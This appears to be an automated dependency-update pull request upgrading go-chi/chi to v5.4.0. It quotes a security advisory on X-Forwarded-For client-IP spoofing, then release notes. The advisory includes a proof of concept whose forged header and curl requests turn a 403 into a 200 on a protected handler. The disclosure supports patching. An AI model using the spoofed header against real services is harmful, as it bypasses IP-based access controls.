[crossplane-renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
github.com/go-chi/chi/v5	v5.3.0 → v5.4.0

---

chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For

CVE-2026-114437 / GHSA-j6qf-3m9c-vwj3

More information

Details

Summary

ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

1. Send GET /admin directly to the origin with no X-Forwarded-For header.
2. Observe a 403 Forbidden response and an empty derived client IP.
3. Repeat the request with X-Forwarded-For: 10.0.0.7, 198.51.100.42.
4. Observe 200 OK and client-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.

Details

The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
	ip, ok := parseHeaderAddr(v)
	if !ok {
		return true
	}
	if inAnyPrefix(ip, prefixes) {
		return false
	}
	found = ip
	return true
})

The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.

Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)

const allowedIP = "10.0.0.7"

func main() {
	r := chi.NewRouter()
	r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
	r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
		clientIP := middleware.GetClientIP(r.Context())
		if clientIP != allowedIP {
			http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
			return
		}
		fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
	})

	log.Print("listening on http://127.0.0.1:3001")
	log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .

The no-header control was rejected:

$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip=""

Adding the forged chain authorized the same direct client:

$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"

Impact

I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.

Severity

• CVSS Score: 4.8 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

• https://github.com/go-chi/chi/security/advisories/GHSA-j6qf-3m9c-vwj3
• https://nvd.nist.gov/vuln/detail/CVE-2026-114437
• https://github.com/go-chi/chi/pull/1214
• https://github.com/go-chi/chi/commit/7f9b7448f51d28804fac98c0a17bc2a7cec1079f
• https://github.com/go-chi/chi
• https://github.com/go-chi/chi/releases/tag/v5.4.0
• https://www.tenable.com/security/research/tra-2026-66

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

go-chi/chi (github.com/go-chi/chi/v5)

v5.4.0

Compare Source

What's Changed

• Improve godoc: add links and titles by @​dolmen in #​1027
• Add Clone method to Context by @​VojtechVitek in #​1157
• middleware: ContentCharset should skip requests without a body by @​VojtechVitek in #​1158
• Update compress middleware support Brotli support documentation by @​sm3142 in #​1007
• fix: panic on Mount() when a router is mounted onto itself by @​sk-sanjay01 in #​1159
• test(middleware): Improves test coverage by @​nszilard in #​700
• Remove superfluous import aliases by @​JRaspass in #​1166
• Bump minimum Go to 1.24, use b.Loop() by @​JRaspass in #​1164
• Use slices.Backward where appropriate by @​JRaspass in #​1165
• Replace "interface{}" with "any" by @​JRaspass in #​1167
• Simplify chi.URLParam, call chi.URLParamFromCtx by @​JRaspass in #​1168
• middleware: record response status when flushing by @​jakezwang in #​1174
• middleware: honor Discard when flushing by @​LeulTew in #​1185
• README: point middleware doc links to chi/v5 by @​VojtechVitek in #​1196
• middleware: treat RemoteAddr as the rightmost hop in ClientIPFrom* by @​VojtechVitek in #​1214
  • Fixes GHSA-j6qf-3m9c-vwj3

New Contributors

• @​dolmen made their first contribution in #​1027
• @​sm3142 made their first contribution in #​1007
• @​sk-sanjay01 made their first contribution in #​1159
• @​nszilard made their first contribution in #​700
• @​jakezwang made their first contribution in #​1174
• @​LeulTew made their first contribution in #​1185

Full Changelog: go-chi/chi@v5.3.2...v5.4.0

v5.3.2

Compare Source

What's Changed

• feat(middleware): add text/markdown, text/csv, text/vtt to default compressible types by @​VojtechVitek in #​1151
• docs: deployment recipe for middleware.ClientIPFromXFFTrustedProxies() by @​VojtechVitek in #​1111
• fix: don't drop handlers that collide with a Mount()/Route() pattern by @​VojtechVitek in #​1148
• Don't duplicate methods in Allow: header for 405 responses by @​flimzy in #​1029
• fix(middleware): reject catch-all compress wildcards by @​VojtechVitek in #​1156
  • middleware.NewCompressor(level, "/*") never worked and silently compressed nothing. Instead of turning it into a compress-everything catch-all (as proposed in #​868 and #​1121), we decided to reject both "/" and "/*" at construction and panic. Compressing every response wastes CPU on already-compressed types (zip, jpeg, png), which is why the middleware keeps a curated default list. Users should pass explicit content types.

Full Changelog: go-chi/chi@v5.3.1...v5.3.2

v5.3.1

Compare Source

What's Changed

• Honor Discard() in httpFancyWriter.ReadFrom by @​DucMinhNe in #​1110
• Tidy build directives by @​JRaspass in #​1113
• feat(middleware): add text/xml and application/xml to default compressible types by @​VojtechVitek in #​1127
• Fix defaultLogEntry.Panic not respecting NoColor setting by @​doganarif in #​1050
• middleware: document printPrettyStack and harden NoColor panic test by @​VojtechVitek in #​1131
• feat(mux): support http QUERY method ietf rfc10008 by @​VojtechVitek in #​1132
• ci: pin GitHub Actions to full commit SHAs by @​XananasX7 in #​1116

New Contributors

• @​DucMinhNe made their first contribution in #​1110
• @​doganarif made their first contribution in #​1050
• @​XananasX7 made their first contribution in #​1116

Full Changelog: go-chi/chi@v5.3.0...v5.3.1

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR has been generated by Mend Renovate CLI.